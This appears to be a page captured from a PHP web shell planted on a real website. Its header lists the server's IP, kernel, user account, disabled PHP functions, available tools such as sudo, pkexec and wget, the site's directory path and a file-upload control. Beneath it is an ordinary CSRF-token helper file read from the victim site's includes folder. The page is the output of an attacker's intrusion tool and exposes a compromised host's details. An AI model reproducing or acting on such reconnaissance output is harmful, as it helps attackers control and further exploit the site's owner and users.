| Server IP : 213.255.246.8 / Your IP : 216.73.217.178 Web Server : Apache System : Linux dublin.stapolin.com 5.14.0-362.18.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jan 29 07:05:48 EST 2024 x86_64 User : stapolin ( 1019) PHP Version : 8.4.24 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/stapolin/public_html/tracking.stapolin.com/includes/ |
Upload File : |
<?php
declare(strict_types=1);
function csrf_token(): string
{
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = random_token();
}
return $_SESSION['csrf_token'];
}
function csrf_field(): string
{
return '<input type="hidden" name="csrf_token" value="' . e(csrf_token()) . '">';
}
function verify_csrf(): void
{
$posted = $_POST['csrf_token'] ?? '';
if (!is_string($posted) || !hash_equals((string) ($_SESSION['csrf_token'] ?? ''), $posted)) {
http_response_code(419);
exit('Invalid security token. Please go back and try again.');
}
}